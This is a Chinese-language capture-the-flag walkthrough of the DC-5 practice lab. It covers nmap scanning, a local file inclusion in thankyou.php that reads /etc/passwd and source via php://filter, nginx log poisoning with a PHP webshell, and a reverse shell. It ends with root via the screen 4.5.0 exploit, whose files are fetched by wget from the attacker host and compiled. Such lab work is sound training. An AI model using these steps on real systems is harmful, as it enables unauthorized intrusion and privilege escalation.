简介
dc系列靶场是比较适合新手的黑盒测试靶场,其中dc-5靶场下载连接如下
一.找IP地址
①netdiscover #扫内网
②nmap -sP 网段
这里采用方法①👇
扫出IP地址为:192.168.43.143
二.扫描IP端口
nmap -A -p- -T4 192.168.43.143
结果如下:
发现80端口开放,因此用浏览器访问
三.找web漏洞(文件包含)
看到网站,目录扫描查看目录结构
一个个网站去访问,最后发现在contact.php页面提交表单之后的thankyou.php文件包含了footer.php文件
再加上如图:
我们试着用伪协议去传参尝试一下文件包含
http://192.168.43.143/thankyou.php?file=/etc/passwd
成功文件包含
为什么要去访问/etc/passwd: 因为这个文件是系统用户配置文件,存储系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作
接下来我们就能用filter协议去访问文件源码
http://192.168.43.143/thankyou.php?file=php://filter/read=convert.base64-encode/resource=index.php
但一个个去看源码对于这个靶场有些许麻烦
四.拿webshell
通过wappalyzer来查看网站版本为nginx1.6.2,对应版本的日志文件在/var/log/nginx/error.log下 ,因为被执行的内容都会被日志文件记录下来,因此,我们可以执行一句话木马,从而让一句话木马出现在日志文件里面,
抓包发送一句话木马
发送一句话木马后,然后根据蚁剑来连接拿到webshell
成功连接webshell
将shell反弹到kali上便于操作
kali监听4444端口:
然后蚁剑打开webshell去反弹
连接成功,查看当前目录下的文件:
五.提权
尝试提权:
find / -perm -u=s -type f 2>/dev/null
发现有一个screen-4.5.0,我们去kali的漏洞库搜索一下
searchsploit screen 4.5.0
看到存在漏洞,我们去查看一下漏洞的具体利用方法
注意:这里漏洞后侧显示的路径的根路径在/usr/share/exploitdb/exploits
先把指定文件复制到桌面上
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
然后在桌面上用vim打开文件
存储成三部分文件之后,把文件上传到靶场
注意这里,建议把.c文件上传到dc-5上,再去gcc编译,如果直接用kali的gcc编译后将编译后的文件上传上去,可能会导致dc5.sh文件在靶场shell运行的时候报错:未找到xxx版本的glibc
先在kali上监听端口5566,然后通过靶场的shell去下载文件
跳转到tmp文件夹下,用wget下到这个文件夹里面
为什么要利用tmp文件夹,因为普通用户在tmp文件夹下有较高的权限
wget 192.168.43.129:5566/libhax.c
wget 192.168.43.129:5566/rootshell.c
wget 192.168.43.129:5566/dc5.sh
下完之后,在这里直接gcc编译.c文件
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
编译完执行shell脚本
chmod +x dc5.sh 赋予dc5.sh执行文件的权限
./dc5.sh
最后
whoami 查看是否提权成功
提权成功
cd /root 发现有flag文件,成功拿到flag
总结
关键点①:
如何判断文件包含 thankyou.php文件包含footer.php
如何验证文件包含 file =/etc/passwd
如何去利用文件包含 :
去找到文件源码,从源码中找信息
但由于是nginx1.6.2,有一个error.log,因此可以利用一句话木马
关键点②:
提权:screnn4.5.0
如何去利用,searchsploit去寻找这个漏洞相关信息
帮助文档能看懂
如何去下载文件
开一个端口,让其它主机去访问这个端口从而下载文件